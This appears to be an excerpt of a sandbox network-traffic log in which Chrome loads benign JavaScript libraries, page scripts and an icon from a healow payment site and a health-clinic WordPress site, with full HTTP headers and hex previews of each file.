2024-04-24 12:44:59 UTC	784	OUT	GET /HealowPay/jsp/js/assets/js/healow-practice-pay-widget.js HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:59 UTC	1390	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:59 GMT Content-Type: text/javascript Content-Length: 640 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"640-1666010874000" Last-Modified: Mon, 17 Oct 2022 12:47:54 GMT Server:
2024-04-24 12:44:59 UTC	640	IN	Data Raw: 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 41 4f 53 2e 69 6e 69 74 28 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 61 62 6c 65 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 61 78 57 69 64 74 68 20 3d 20 39 39 32 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 20 3c 20 6d 61 78 57 69 64 74 68 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 29 3b 20 20 0d 0a 20 20 20 2f 2a 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 20 20 20 20 24 28 27 2e 74 6f 61 73 74 65 72 2d 73 65 63 74 69 6f 6e 27 29 2e 72 65 6d 6f 76 65 43 6c Data Ascii: $(document).ready(function () { AOS.init({ disable: function() { var maxWidth = 992; return window.innerWidth < maxWidth; } }); /* setTimeout(function(){ $('.toaster-section').removeCl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	50014	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:59 UTC	766	OUT	GET /HealowPay/jsp/js/healow/loginHelper.js HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:59 UTC	1417	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:59 GMT Content-Type: text/javascript Content-Length: 10499 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"10499-1681457995000" Last-Modified: Fri, 14 Apr 2023 07:39:55 GMT vary: accept-encoding Server:
2024-04-24 12:44:59 UTC	10499	IN	Data Raw: 76 61 72 20 76 61 6c 20 3d 20 27 27 3b 0d 0a 76 61 72 20 76 61 6c 70 70 20 3d 20 27 27 3b 0d 0a 76 61 72 20 61 63 74 20 3d 20 27 27 3b 0d 0a 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 7b 0d 0a 20 20 20 20 61 63 74 20 3d 20 73 74 72 41 63 74 3b 0d 0a 20 20 20 20 69 66 28 61 63 74 21 3d 3d 27 27 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 28 22 23 77 61 72 6e 69 6e 67 4d 73 67 22 29 2e 61 70 70 65 6e 64 28 22 59 6f 75 20 68 61 76 65 20 6c 6f 67 67 65 64 20 6f 75 74 20 6f 66 20 68 65 61 6c 6f 77 70 61 79 2e 20 50 6c 65 61 73 65 20 65 6e 74 65 72 20 79 6f 75 72 20 64 65 74 61 69 6c 73 20 74 6f 20 6c 6f 67 69 6e 20 61 67 61 69 6e 2e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 24 28 27 2e 74 6f 61 73 74 65 Data Ascii: var val = '';var valpp = '';var act = '';$(document).ready(function(){ act = strAct; if(act!=='') { $("#warningMsg").append("You have logged out of healowpay. Please enter your details to login again."); $('.toaste

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	50015	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:59 UTC	777	OUT	GET /HealowPay/jsp/js/rendor/healow-pay-healow-flow.js HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:59 UTC	1415	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:59 GMT Content-Type: text/javascript Content-Length: 5860 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"5860-1680772665000" Last-Modified: Thu, 06 Apr 2023 09:17:45 GMT vary: accept-encoding Server:
2024-04-24 12:44:59 UTC	5860	IN	Data Raw: 0d 0a 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 0d 0a 09 24 28 22 23 63 6f 6e 74 61 63 74 4e 6f 22 29 2e 6d 61 73 6b 28 27 39 39 39 2d 39 39 39 2d 39 39 39 39 27 29 3b 0d 0a 09 20 24 28 27 23 64 6f 62 27 29 2e 6d 61 73 6b 28 27 39 39 2f 39 39 2f 39 39 39 39 27 29 3b 0d 0a 0d 0a 09 2f 2a 2d 2d 20 77 69 7a 61 72 64 27 73 20 2d 2d 2a 2f 0d 0a 09 24 28 22 2e 6e 65 78 74 2d 73 74 65 70 22 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0d 0a 09 09 2f 2f 64 65 62 75 67 67 65 72 3b 0d 0a 09 09 76 61 72 20 24 61 63 74 69 76 65 20 3d 20 24 28 27 2e 74 68 72 65 65 2d 6c 61 79 65 72 2d 77 69 7a 61 72 64 20 6c 69 2e 61 63 74 69 76 65 27 29 3b 0d 0a 09 09 6e 65 78 74 54 61 62 28 24 61 63 74 69 Data Ascii: $(document).ready(function () {$("#contactNo").mask('999-999-9999'); $('#dob').mask('99/99/9999');/-- wizard's --/$(".next-step").click(function (e) {//debugger;var $active = $('.three-layer-wizard li.active');nextTab($acti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	50016	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:59 UTC	771	OUT	GET /wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=13.6 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:00 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:00 GMT Content-Type: application/javascript Content-Length: 16292 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 31 Mar 2024 06:30:48 GMT Vary: Accept-Encoding ETag: "66090318-3fa4" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:00 UTC	15954	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 61 28 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 61 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 29 3a 61 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 7d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 28 61 2e 55 6e 73 6c 69 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 64 2e 5f 3d 22 77 70 72 73 5f 75 6e 73 6c 69 Data Ascii: !function(a){"object"==typeof module&&"object"==typeof module.exports?a(require("jquery")):"function"==typeof define&&define.amd?define([],a(window.jQuery)):a(window.jQuery)}(function(a){return a?(a.Unslider=function(b,c){var d=this;return d._="wprs_unsli
2024-04-24 12:45:00 UTC	338	IN	Data Raw: 09 09 20 20 20 74 79 70 65 3a 20 27 74 65 78 74 2f 63 73 73 27 2c 0d 0a 09 09 09 09 20 20 20 68 72 65 66 3a 20 77 70 72 65 76 70 75 62 6c 69 63 6a 73 5f 73 63 72 69 70 74 5f 76 61 72 73 2e 77 70 72 65 76 70 6c 75 67 69 6e 73 75 72 6c 2b 22 2f 70 75 62 6c 69 63 2f 63 73 73 2f 6c 69 74 79 2e 6d 69 6e 2e 63 73 73 22 0d 0a 09 09 09 09 7d 29 2e 61 70 70 65 6e 64 54 6f 28 27 68 65 61 64 27 29 3b 0d 0a 09 09 09 09 24 2e 67 65 74 53 63 72 69 70 74 28 77 70 72 65 76 70 75 62 6c 69 63 6a 73 5f 73 63 72 69 70 74 5f 76 61 72 73 2e 77 70 72 65 76 70 6c 75 67 69 6e 73 75 72 6c 2b 22 2f 70 75 62 6c 69 63 2f 6a 73 2f 6c 69 74 79 2e 6d 69 6e 2e 6a 73 22 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 09 09 09 2f 2f 73 63 72 69 70 74 20 69 73 20 6c 6f 61 64 65 64 20 Data Ascii: type: 'text/css', href: wprevpublicjs_script_vars.wprevpluginsurl+"/public/css/lity.min.css"}).appendTo('head');$.getScript(wprevpublicjs_script_vars.wprevpluginsurl+"/public/js/lity.min.js", function() {//script is loaded

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	50017	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:59 UTC	723	OUT	GET /wp-includes/js/imagesloaded.min.js?ver=5.0.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:00 UTC	429	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:00 GMT Content-Type: application/javascript Content-Length: 5520 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Fri, 11 Aug 2023 18:18:26 GMT Vary: Accept-Encoding ETag: "64d67b72-1590" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:00 UTC	5520	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2a 21 0a 20 2a 20 69 6d 61 67 65 73 4c 6f 61 64 65 64 20 50 41 43 4b 41 47 45 44 20 76 35 2e 30 2e 30 0a 20 2a 20 4a 61 76 61 53 63 72 69 70 74 20 69 73 20 61 6c 6c 20 6c 69 6b 65 20 22 59 6f 75 20 69 6d 61 67 65 73 20 61 72 65 20 64 6f 6e 65 20 79 65 74 20 6f 72 20 77 68 61 74 3f 22 0a 20 2a 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 74 2e 45 76 45 6d 69 74 74 65 72 3d 65 28 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d Data Ascii: /! This file is auto-generated //! imagesLoaded PACKAGED v5.0.0 * JavaScript is all like "You images are done yet or what?" * MIT License */!function(t,e){"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	50018	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:00 UTC	821	OUT	GET /HealowPay/jsp/img/icon-healow.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:45:00 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:00 GMT Content-Type: image/png Content-Length: 3098 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"3098-1646033381000" Last-Modified: Mon, 28 Feb 2022 07:29:41 GMT Server:
2024-04-24 12:45:00 UTC	3098	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 09 70 48 59 73 00 00 61 a8 00 00 61 a8 01 1d 20 55 80 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDRapHYsaa UOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	50021	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:00 UTC	718	OUT	GET /wp-includes/js/masonry.min.js?ver=4.2.2 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:00 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:00 GMT Content-Type: application/javascript Content-Length: 24138 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 13 Jun 2020 18:53:27 GMT Vary: Accept-Encoding ETag: "5ee520a7-5e4a" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:00 UTC	15954	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2a 21 0a 20 2a 20 4d 61 73 6f 6e 72 79 20 50 41 43 4b 41 47 45 44 20 76 34 2e 32 2e 32 0a 20 2a 20 43 61 73 63 61 64 69 6e 67 20 67 72 69 64 20 6c 61 79 6f 75 74 20 6c 69 62 72 61 72 79 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6d 61 73 6f 6e 72 79 2e 64 65 73 61 6e 64 72 6f 2e 63 6f 6d 0a 20 2a 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 20 62 79 20 44 61 76 69 64 20 44 65 53 61 6e 64 72 6f 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 6a 71 75 65 72 79 2d 62 72 69 64 67 65 74 2f 6a 71 75 65 72 79 2d Data Ascii: /! This file is auto-generated //! Masonry PACKAGED v4.2.2 * Cascading grid layout library * https://masonry.desandro.com * MIT License * by David DeSandro */!function(t,e){"function"==typeof define&&define.amd?define("jquery-bridget/jquery-
2024-04-24 12:45:00 UTC	8184	IN	Data Raw: 72 4c 61 79 6f 75 74 28 74 29 2c 74 68 69 73 2e 5f 6c 61 79 6f 75 74 49 74 65 6d 73 28 74 2c 65 29 2c 74 68 69 73 2e 5f 70 6f 73 74 4c 61 79 6f 75 74 28 29 7d 2c 66 2e 5f 67 65 74 49 74 65 6d 73 46 6f 72 4c 61 79 6f 75 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 74 2e 69 73 49 67 6e 6f 72 65 64 7d 29 7d 2c 66 2e 5f 6c 61 79 6f 75 74 49 74 65 6d 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 74 68 69 73 2e 5f 65 6d 69 74 43 6f 6d 70 6c 65 74 65 4f 6e 49 74 65 6d 73 28 22 6c 61 79 6f 75 74 22 2c 74 29 2c 74 26 26 74 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 69 3d 5b 5d 3b 74 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 Data Ascii: rLayout(t),this._layoutItems(t,e),this._postLayout()},f._getItemsForLayout=function(t){return t.filter(function(t){return!t.isIgnored})},f._layoutItems=function(t,e){if(this._emitCompleteOnItems("layout",t),t&&t.length){var i=[];t.forEach(function(t){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	50022	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:00 UTC	759	OUT	GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/js/frontend.js?ver=1.1.3 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:01 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:01 GMT Content-Type: application/javascript Content-Length: 786 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 23 Apr 2024 09:50:51 GMT Vary: Accept-Encoding ETag: "6627847b-312" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
